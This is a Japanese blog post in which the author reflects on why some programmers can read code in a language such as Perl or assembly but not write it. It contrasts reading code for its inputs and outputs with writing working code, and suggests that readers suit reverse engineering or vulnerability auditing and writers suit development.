たまに「Perlは読めるけれど書けないんですよ」とか「ASM読めるけれど書いたことはないです」という人がいます。最初、僕はこの意味がよく分からなくて、読むことができるなら書こうと思えば普通に書けるのでは? と思っていました。もちろん、いきなりガンガン書くことはできなくとも、少し慣れれば確実に書くことができるようになるだろう、と。しかし、この認識は間違いで、本当にこの状況は起こりえて、かつ、すぐに書くことができるようになる、ということでもないっぽいです。

まず「読む」と「書く」という2つの状況を考えます。例えばプログラムを「読む」状況とはどんなときだろう、と考えると、多分大抵は「その処理の内容を掴む」場合です。test_funcというサブルーチン(関数)があったとして、このサブルーチンを「読む」ということは、頭の中できっと、引数の数は? どのような引数が渡されるか? 戻り値は何か? といったことをまず最初に考えます。つまり、どのようなINPUTに対して、どのようなOUTPUTが得られるサブルーチンであるか? をコードから得ようとします。もちろん、コードを理解しなければそれは分からないため、当然サブルーチンの内容は理解するのですが、「読む」行為の目的は、大抵、何をするサブルーチンであるか? という一点であり、それ以外にありません。極端な話、コードの雰囲気からそのサブルーチンのだいたいの処理を当てることができれば、コードの詳細を理解する必要はありません。逆に「書く」状況は、大抵「動くものを作る」ときです。ソースコードの綺麗、汚いはありますが、プログラムはとりあえず動かなければ何の意味もありませんので当然です。さて、では突然「1から任意の数までのすべての数を加算するサブルーチンを作成してください」と言われた場合、きっと最初に頭の中で考えることは、引数の種類や、戻り値の数ではなく、処理そのものだと思います。まぁ大抵はfor(i=1; i < n; i++){ total += i; }とかを思い浮かべると思います。そして、処理を思い浮かべた後に、ああーでも32ビット以上の数になったらどうしよう…、とか、負の数いれられたらどうしようとか、小数点どうしようとか、そういうイレギュラーな状態を想像しつつ、32ビット以上の数にも対応するなら、結果は戻り値からじゃなく引数からにしようかな、とか、負の数に対応して1から-19までの値の加算とかだと、戻り値はsigned定義だな、などを考えつつ、INPUTとOUTPUTを決定します。そして何より、「書く」場合、プログラムが動かなければ話になりません。つまり、完全に熟知したコードでなければなりません(少なくとも自分が書く部分は)。

それで、以前、1から書かせるとものすごいスピードで仕事を仕上げてくるのですが、このアプリにこういう機能を追加して、というような機能拡張依頼だと、仕上げるのがものすごい遅いというエンジニアがいました。彼はおそらく「書く」のが得意なエンジニアだったと思います。そういう方はきっと「他人の書いたコードを読むのってキツイよなー、自分で1から書いた方が早かったりするよー」というタイプの人です。概要では満足せず、サブルーチンの処理をひとつひとつ読んでいく人です(または処理の推測が下手な人?)。逆に何十万行のソースコードを渡してもあっさり全体の動作概要を掴んで、機能追加できる人もいます。時間的に考えても絶対全部は読んでいないはずだけど、すでに全体の処理内容を掴んでいたりするので、多分「読む」のがものすごい早い(読み慣れしてる)人かなと思います(単純に技術力があったとかいうのはまた別の話として)。

というわけで、結論として、プログラマには「読む」のが得意なタイプと、「書く」のが得意なタイプに大別できるのではないかな? と思います。その極端な例として「読めるけど書けない」という人がいるのではないかと。逆に「書けるけど読めない」というのはちょっと意味として微妙なので、言い換えて「書けるけど読むのが遅い(書くのと同じスピード)」という感じではないでしょうか。

もちろん実際は、技術力も絡んでくるので、一概にどうということは言えませんが、僕自身を例にすると、僕は、C言語についてはおそらく他人のコードを読んだ時間より、自分でコードを書いた時間の方が長いです。そして、実際他人が書いたC言語のコードを読むのは結構苦痛です(笑)。逆にASMは、断然書いている時間より、読んでいる時間の方が長く、いざ書いてといわれると、「えっと…」と少し考えてしまったりします。つまり、一言にプログラミング言語ができるといっても、そういった微妙なところで、向き不向き、得意不得意があるのではないか? あと「読む」のが得意ならリバースエンジニア(解析屋)や、セキュリティホールハンター(脆弱性監査)に、「書く」のが得意ならDevelopper(開発屋)に向いているのでは? とか少し思いました。すでにある問題に対していかに素早く解決するかを考えるタイプと、何もないところからいかにすごいものを生み出すかを考えるタイプで、同じエンジニアでもいろいろだなぁと。まぁといっても実際はどちらも必要なスキルなので、あくまでも向き不向きという程度の話なのですが。

と、たまにはこういう真面目な話もしまつ(^^;(たまにしかしないからピントがずれていることも多々あるけど…orz)。